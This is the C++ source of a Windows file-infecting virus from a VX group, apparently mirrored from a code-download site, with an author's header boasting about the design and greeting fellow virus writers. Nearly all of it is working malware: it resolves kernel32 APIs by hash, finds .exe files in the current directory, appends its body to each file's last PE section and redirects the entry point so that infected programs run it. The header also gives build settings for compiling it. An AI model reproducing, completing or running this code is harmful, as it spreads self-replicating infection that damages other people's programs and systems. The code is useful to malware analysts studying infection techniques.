www.pudn.com > GAYBIN.zip > GAYBIN.c


 
/* 
 
		  Welcome to the GAYBAR§§?(from ikx industries) 
		-================================================- 
 
 Technically, this virus has nothing new. It's a very old school virus that appends  
 its code to the last section and modifies the entry point in the PE header. It  
 browses the import table in order to find the kernel address and imports APIs by CRC.  
 The virus is about 1200 bytes long. It's a bit big for a virus of this kind and it  
 requires some optimization. The main idea is that it was written in 100% c++ to take  
 advantage of the use of classes. No assembly file or special linking is needed. It  
 does everything just as a standard assembly virus would do.  It has no need for  
 relocation; it can use global pointers and ignores the delta pointer problem. It was  
 compiled using Visual Studio Architect. Just remove the "Buffer Security Check" and  
 put it in release mode. (Don’t forget to put size optimization). It also seems to work  
 with Visual Studio 6.0. 
 
 But, all is not pink in this happy world. There are a few problems. You can't use any  
 strings inside the executable. I reconstructed the strings by dropping values into  
 buffers as a meta virus would do. (int k[0] = 'xe.*') We are seeking how to solve  
 this problem in a better way. Also, it's not really 100% c++ as it still has a stub  
 loader that will call the virus body. This part is in assembly and consists of a few  
 pushes and a call. This virus might be "portable" to other platforms as long as you  
 remedy the stub problem.  
 
 The point of this virus is to pimp people to the c++ side.  A virus can be done within  
 a reasonable size using c++, doing almost as well as an assembly virus. I hope this  
 creates a new era with future babies coming along. 
 
 Greets to:  
 
 Vorgon:   You are god, i bow down before you oh master dark lord of VX. My Hero! 
 Lifewire: to have pimped me to the c++ side, for the original idea as well as the 
	     the motivation 
 UnderX:   to be the 1st to listen to my bragging description 
 Griyo:    who was the second 
 Cecile:   Damn, I like you, wanted to dedicate this virus to you but I preferred the 
	     GAYBAR!  jtm 
 Morphine: for correcting my english! 10x0r! 
 
 Welcome to the GAYBAR !! 
 
*/ 
 
#include "stdio.h" 
#include "windows.h" 
#include "PE.hpp" 
 
typedef void* __stdcall iGetModuleHandle(char*); 
typedef void* __stdcall iLoadLibraryA(char*); 
typedef HANDLE __stdcall iFindFirstFileA(void*,LPWIN32_FIND_DATA); 
typedef bool __stdcall iFindNextFileA(HANDLE,LPWIN32_FIND_DATA); 
typedef void __stdcall iOutputDebugStringA(char*); 
typedef HANDLE __stdcall iCreateFileA(char*,DWORD,DWORD,DWORD,DWORD,DWORD,HANDLE); 
typedef HANDLE __stdcall iCreateFileMappingA(HANDLE,DWORD,DWORD,DWORD,DWORD,char*); 
typedef void* __stdcall iMapViewOfFile(HANDLE,DWORD,DWORD,DWORD,DWORD); 
typedef void __stdcall iUnmapViewOfFile(void*); 
typedef void __stdcall iCloseHandle(HANDLE); 
typedef DWORD __stdcall iGetFileSize(HANDLE, int); 
 
#define LoadLibraryACrc 0x660E91B6 
#define FindFirstFileACrc 0xFACA6F2D 
#define FindNextFileACrc 0x47F9DA21 
#define OutputDebugStringACrc 0xFBDF28B7 
#define CreateFileACrc 0x8DC85CF9 
#define CreateFileMappingACrc 0xA3A46E23 
#define MapViewOfFileCrc 0x505C8F3F 
#define UnmapViewOfFileCrc 0x5239B6AF 
#define CloseHandleCrc 0x4E1ED759 
#define GetFileSizeCrc 0xC37E2502 
 
#define vir_size (((int) main - 0x00401000)) 
 
void __stdcall start(void *ImageBase, void *viruslocation); 
int main(int argc, char **argv); 
 
 
int iround(int a, int b) { return ((a / b)+1)* b; } 
 
// Dumb crc routine, it isn't really crc, less powerful but it's sufficient for  
// apiname checking. 
 
DWORD GetAPICrc(char *name) 
{ 
	DWORD k = 0; 
 
	for(int i = 0; name[i] != 0; i++) 
		k = (k << 3) + (k >> (sizeof(k) -3)) + name[i]; 
 
	return k; 
} 
 
class virus 
{ 
	public: 
		 
		// 
		//	Api finder, you specify the Address base of the PE and the crc 
		//  of the address and it will return the address to you.  If it fails, it 
		//	returns 0 and sets a global flag called missed 
		// 
 
		void *GetProcAddressCrc(char *ModuleBase, DWORD APICrc) 
		{ 
			PE_STRUCT *PEheaderBase = (PE_STRUCT *) (ModuleBase + ((DWORD *) (ModuleBase+0x3C))[0]); 
			PE_EXPORT_STRUCT *ExportTable = (PE_EXPORT_STRUCT *) ( ModuleBase + PEheaderBase->pe_exportrva); 
 
			if(PEheaderBase->pe_exportrva != 0) 
			{ 
				// Here you get all the pointers, so once it's found, you only have to 
				// grab the data from the table once 
 
				DWORD* NameTable = (DWORD *) (ModuleBase + ExportTable->ex_namepointersrva); 
				WORD* Ordinaltable = (WORD *) (ModuleBase + ExportTable->ex_ordinaltablerva); 
				DWORD* AddressTable = (DWORD *) (ModuleBase + ExportTable->ex_addresstablerva); 
 
				for(int i = 0; i < ExportTable->ex_numofnamepointers; i++) 
				{ 
					if(GetAPICrc((char *) ModuleBase+NameTable[i]) == APICrc) 
						return ModuleBase+AddressTable[Ordinaltable[i]]; 
				} 
			} 
 
			missed = true; 
			return 0; 
		} 
 
		// Linked chain 
 
		struct NameList 
		{ 
			NameList *Previous; 
			void *location; 
		}; 
 
		// 
		// Find the Kernel32 address by browsing the Import Table.  It searches for 
		// "KERNEL32".  If the library isn't KERNEL32, it browses the import 
		// table of the library.  This is done by using a recursive function.  It 
		// scans the import table and imports the table of imported libraries, and 
		// etc.  But, It could cycle :(  What if user32.dll points to advapi.dll 
		// and advapi.dll points to user32.dll?  It would cycle infinitly. 
		// 
		// I stored a list of already scanned libraries (NameList).  Before scanning 
		// sub libraries, it checks if the libary hasn't been scanned yet. 
		// 
 
		void *GetK32Address(char *PEImageBase, NameList *List = 0) 
		{ 
				PE_STRUCT *PEheaderBase = (PE_STRUCT *) (PEImageBase + ((DWORD *) (PEImageBase+0x3C))[0]); 
				PE_IMPORT_STRUCT *ImportTable = (PE_IMPORT_STRUCT *) (PEImageBase + PEheaderBase->pe_importrva); 
 
				if(PEheaderBase->pe_importrva != 0) 
				{ 
					char* LibName;				// we will scan every name 
 
					while(PEImageBase + ImportTable->im_name)	 
					{ 
						LibName = PEImageBase + ImportTable->im_name; 
 
						// gets the base address of the library 
						WORD **apitable = (WORD **) ((char*) PEImageBase + ImportTable->im_addresstable); 
						WORD *location =  (WORD *) ((char *) apitable[0] - ((WORD *) apitable)[0]); 
						while( location[0] != 'ZM') location = (WORD *) ((char*) location - 0x1000); 
 
						// it isn't the kernel ? 
						if(! ((((DWORD *) LibName)[0] == 'NREK') && (((DWORD *) LibName)[1] == '23LE'))) 
						{ 
							bool dosearch = true; 
							NameList *item = List; 
 
							while(item != 0 && dosearch) // have we searched 
							{							// this library ? 
								if(location == item->location) dosearch = false; 
								item = item->Previous; 
							} 
 
							if(dosearch)		// if not, it adds the name to the list 
							{					// and scans this library 
								NameList newitem = { List, location }; 
								void *retaddr = GetK32Address((char *)location, &newitem); 
                                if(retaddr != 0) return retaddr; 
							} 
						} 
						else return location; 
 
						ImportTable = (PE_IMPORT_STRUCT *) ((char *) ImportTable + sizeof(PE_IMPORT_STRUCT)); 
					}  
				} 
 
				return 0; 
		} 
 
		// 
		// Searches all the needed api, starting by retrieving kernel32 address  
		// from current process import table, if it's found, import all apis. If an 
		// api is missed, bool missed has been set to true and it will return false 
		// 
 
		bool Import(void *PEImageBase) 
		{ 
			char *K32Address = (char *) GetK32Address((char *) PEImageBase); 
			missed = false; 
 
			if(K32Address) 
			{ 
				LoadLibraryA = (iLoadLibraryA *) GetProcAddressCrc( K32Address, LoadLibraryACrc); 
				FindFirstFileA = (iFindFirstFileA *) GetProcAddressCrc( K32Address, FindFirstFileACrc); 
				FindNextFileA = (iFindNextFileA *) GetProcAddressCrc( K32Address, FindNextFileACrc); 
				OutputDebugStringA = (iOutputDebugStringA *) GetProcAddressCrc( K32Address, OutputDebugStringACrc); 
				CreateFileA = (iCreateFileA *) GetProcAddressCrc( K32Address, CreateFileACrc); 
				CreateFileMappingA = (iCreateFileMappingA *) GetProcAddressCrc( K32Address, CreateFileMappingACrc); 
				MapViewOfFile = (iMapViewOfFile *) GetProcAddressCrc( K32Address, MapViewOfFileCrc); 
				UnmapViewOfFile = (iUnmapViewOfFile *) GetProcAddressCrc( K32Address, UnmapViewOfFileCrc); 
				CloseHandle = (iCloseHandle *) GetProcAddressCrc( K32Address, CloseHandleCrc); 
				GetFileSize = (iGetFileSize *) GetProcAddressCrc( K32Address, GetFileSizeCrc); 
			} 
			 
			return (K32Address && !missed); 
		} 
 
		// 
		// Remap the file and in the same way resize the file 
		// 
 
		void Remap(int newsize) 
		{ 
			UnmapViewOfFile(MapAddress); 
			CloseHandle(FileMapping); 
			FileMapping = CreateFileMapping(File,NULL, PAGE_READWRITE, 0, newsize, 0 ); 
			MapAddress = (char *) MapViewOfFile( FileMapping, FILE_MAP_ALL_ACCESS, 0, 0, newsize); 
		} 
 
		// drop a push instruction to a memory location 
 
		void createpush(char *location, int value) 
		{ 
				(location)[0] = (char) 0x68; 
				((int *)(location+1))[0] = value; 
		} 
 
		// We got the file maped at (MapAddress), we are going to infect  
		// that file 
 
		void ProcessInfection() 
		{ 
			// check if exe 
			if( ((WORD *) MapAddress)[0] == 'ZM' ) 
			{ 
				PE_STRUCT *PEheaderBase = (PE_STRUCT *) (MapAddress + ((DWORD *) (MapAddress+0x3C))[0]); 
 
				// check if PE 
				if( ((DWORD *) PEheaderBase)[0] == 'EP' ) 
				{ 
					// get lastsection offset 
					PE_OBJENTRY_STRUCT *lastsection = (PE_OBJENTRY_STRUCT *) 
						((char *) PEheaderBase + sizeof(PE_STRUCT) + 
						(PEheaderBase->pe_numofobjects - 1) * sizeof(PE_OBJENTRY_STRUCT)); 
		 
					// save information, later we will need to return to host 
					// viruspos will be a working variable for now 
					int old_entrypoint = PEheaderBase->pe_entrypointrva + PEheaderBase->pe_imagebase; 
					int viruspos = max(lastsection->oe_physsize, lastsection->oe_virtsize); 
 
					// change last section size in physical and memory, change 
					// his permission 
					lastsection->oe_physsize = iround( viruspos+vir_size, PEheaderBase->pe_filealign); 
					lastsection->oe_virtsize = iround( viruspos+vir_size, PEheaderBase->pe_objectalign); 
					lastsection->oe_objectflags |= IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ; 
					 
					// set new entry point 
					PEheaderBase->pe_entrypointrva = viruspos + lastsection->oe_virtrva;  
					int new_entrypoint = PEheaderBase->pe_entrypointrva + PEheaderBase->pe_imagebase; 
					int old_imagebase = PEheaderBase->pe_imagebase; 
 
					// viruspost is now the position where we should drop virus 
					viruspos += lastsection->oe_physoffs; 
 
					// recalculate PE size in memory 
					PEheaderBase->pe_imagesize = lastsection->oe_virtrva + lastsection->oe_virtsize; 
					// resize file 
					Remap(iround(lastsection->oe_physoffs + lastsection->oe_physsize, 128) + 69 ); 
					 
					char *virusdest = MapAddress + viruspos; 
 
					// we are dropping the stub loader 
					// we will push on stack old entrypoint 
					// two next value will be forwarded to virus 
 
					createpush(virusdest, old_entrypoint);  
					createpush(virusdest+5, new_entrypoint+21); 
					createpush(virusdest+10, old_imagebase); 
 
					// drop call to virus 
					(virusdest+15)[0] = (char) 0xE8; 
					((int *)(virusdest+16))[0] = ((int) start - 0x00401000)+1; 
					 
					// then ret, who will jump to host 
					(virusdest+20)[0] = (char) 0xC3; 
 
					virusdest += 21; 
 
					// drop virus here (memcpy didnt worked :() 
					for(int i = 0; i < vir_size; i++) 
						(virusdest++)[0] = ((char *) VirCode)[i]; 
					 
					// drop virus copyright :) 
					((__int64*) virusdest)[0] = 0x20656D6F636C6557; 
					((__int64*) virusdest)[1] = 0x4720656874206F74; 
					((__int64*) virusdest)[2] = 0x2020215241425941; 
					((__int64*) virusdest)[3] = 0x334B325D584B495B; 
				} 
			} 
		} 
 
		// This function basically opens a file specified in input  
		// then maps it.  If mapping succeed and finally it ask to  
		// ProcessInfection() 
 
		void infect(char *filename) 
		{ 
			File = CreateFileA(filename, GENERIC_READ | GENERIC_WRITE, 
						FILE_SHARE_READ,0,OPEN_EXISTING,0,0); 
 
			if( File != INVALID_HANDLE_VALUE ) 
			{ 
				int FileSize = GetFileSize(File,0); 
				FileMapping = CreateFileMapping(File,NULL,PAGE_READWRITE,  
					0, FileSize, 0 ); 
 
				if( FileMapping != INVALID_HANDLE_VALUE )  
				{ 
					MapAddress = (char *) MapViewOfFile( FileMapping,  
						FILE_MAP_ALL_ACCESS, 0, 0, FileSize); 
 
                    if(MapAddress != 0) 
					{ 
						ProcessInfection(); 
						UnmapViewOfFile(MapAddress); 
					} 
 
					CloseHandle(FileMapping); 
				} 
				CloseHandle(File); 
			} 
		} 
 
		// The real entry point of the virus.  Here, we manipulate everything 
		// inside the object.  It just searches for various *.exe inside the 
		// current directory 
 
		void start_virus(void *PEBase, void *VirusCode) 
		{ 
			if(Import(PEBase)) 
			{ 
				WIN32_FIND_DATA datas; 
				HANDLE fileresult; 
				VirCode = VirusCode; 
				char trashbuffer[8]; 
 
				// search for *.exe 
				((__int64 *) trashbuffer)[0] = 0x06578652E2A; 
				fileresult = FindFirstFileA(trashbuffer, &datas); 
 
				if(fileresult != INVALID_HANDLE_VALUE) do 
				{ 
					if( (datas.nFileSizeLow % 128) != 69) 
						infect(datas.cFileName); 
				} 
				while(FindNextFile(fileresult, &datas)); 
			} 
		} 
 
		/* 
		 *  The Api Table 
		 * 
         ******************/ 
 
		iLoadLibraryA* LoadLibraryA; 
		iFindFirstFileA* FindFirstFileA; 
		iFindNextFileA* FindNextFileA; 
		iOutputDebugStringA* OutputDebugStringA; 
		iCreateFileA* CreateFileA; 
		iCreateFileMappingA* CreateFileMappingA; 
		iMapViewOfFile* MapViewOfFile; 
		iUnmapViewOfFile* UnmapViewOfFile; 
		iCloseHandle* CloseHandle; 
		iGetFileSize* GetFileSize; 
 
		// functions 
 
		bool missed; 
 
		HANDLE File; 
		HANDLE FileMapping; 
		char *MapAddress; 
		void *VirCode; 
}; 
 
// This creates an instance of object virus on the stack, and then calls the  
// virus.  The global variable inside the class will be taken from the stack 
// and not from data 
 
void __stdcall start(void *ImageBase, void *viruslocation)  
{ 
	virus A; 
	A.start_virus(ImageBase, viruslocation); 
} 
 
// this will fake the stub loader and call our virus 
 
int main(int argc, char **argv) 
{ 
	int k = vir_size; 
	start((void*) 0x00400000, (void *) 0x00401000); 
	printf("welcome to the Gaybar: %i\n", k); 
	return 0; 
}